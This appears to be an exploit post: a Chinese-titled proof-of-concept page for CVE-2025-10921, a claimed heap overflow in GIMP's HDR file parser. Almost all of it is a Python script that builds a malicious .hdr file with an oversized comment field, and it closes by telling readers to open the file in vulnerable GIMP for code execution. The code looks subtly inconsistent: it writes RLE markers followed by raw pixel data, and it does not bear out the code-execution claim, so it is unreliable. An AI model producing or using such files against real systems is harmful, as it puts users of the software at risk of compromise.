CVE-2025-10921 GIMP HDR文件解析堆缓冲区溢出远程代码执行漏洞

# CVE-2025-10921 PoC - GIMP HDR Heap Buffer Overflow # Generate malicious HDR file to trigger heap-based buffer overflow # This PoC creates a crafted HDR file with oversized data in specific fields import struct import os def create_malicious_hdr(output_path): """ Create a malicious HDR file to trigger buffer overflow in GIMP HDR parser. The vulnerability exists when parsing RGBE format HDR files where insufficient length validation leads to heap buffer overflow. """ # HDR file header header = b'#?RADIANCE\n' # Craft resolution line with oversized data # Normal format: -Y 1024 +X 1024 # We inject extra data to trigger overflow in buffer handling resolution = b'-Y 2048 +X 2048\n' # Create malformed exposure/comment section # This section will contain oversized data to overflow heap buffer comment_size = 10000 # Oversized to trigger overflow malicious_comment = b'EXPOSURE=1.0\n' malicious_comment += b'COMMENT=' + b'A' * comment_size + b'\n' # HDR commands section - inject overflow data commands = b'FORMAT=32-bit_rle_rgbe\n' commands += b'\n' # Generate RGBE data - normal HDR scanlines # Each scanline: 4 bytes per pixel (R,G,B,E) width = 2048 height = 2048 rgbe_data = bytearray() for y in range(height): # Scanline start marker for RLE encoding rgbe_data += struct.pack('BBBB', 2, 2, (width >> 8) & 0xFF, width & 0xFF) # Create scanline data with RGBE format # RLE compressed scanline scanline = bytearray() for x in range(width): # RGBE format: 1 byte exponent, 3 bytes mantissa r = 128 # Red channel g = 128 # Green channel b = 128 # Blue channel e = 128 # Exponent scanline += bytes([r, g, b, e]) rgbe_data += bytes(scanline) # Write the malicious HDR file with open(output_path, 'wb') as f: f.write(header) f.write(resolution) f.write(malicious_comment) f.write(commands) f.write(rgbe_data) print(f"[+] Malicious HDR file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[+] Comment section size: {len(malicious_comment)} bytes") def verify_hdr_structure(file_path): """Verify the generated HDR file structure""" with open(file_path, 'rb') as f: content = f.read(100) print(f"[+] File header: {content[:50]}") if b'RADIANCE' in content: print("[+] Valid HDR header detected") if __name__ == '__main__': output_file = 'CVE-2025-10921_poc.hdr' print("=" * 60) print("CVE-2025-10921 GIMP HDR Heap Buffer Overflow PoC") print("=" * 60) create_malicious_hdr(output_file) verify_hdr_structure(output_file) print("\n[!] Usage: Open the generated .hdr file with vulnerable GIMP version") print("[!] This will trigger heap-based buffer overflow for code execution")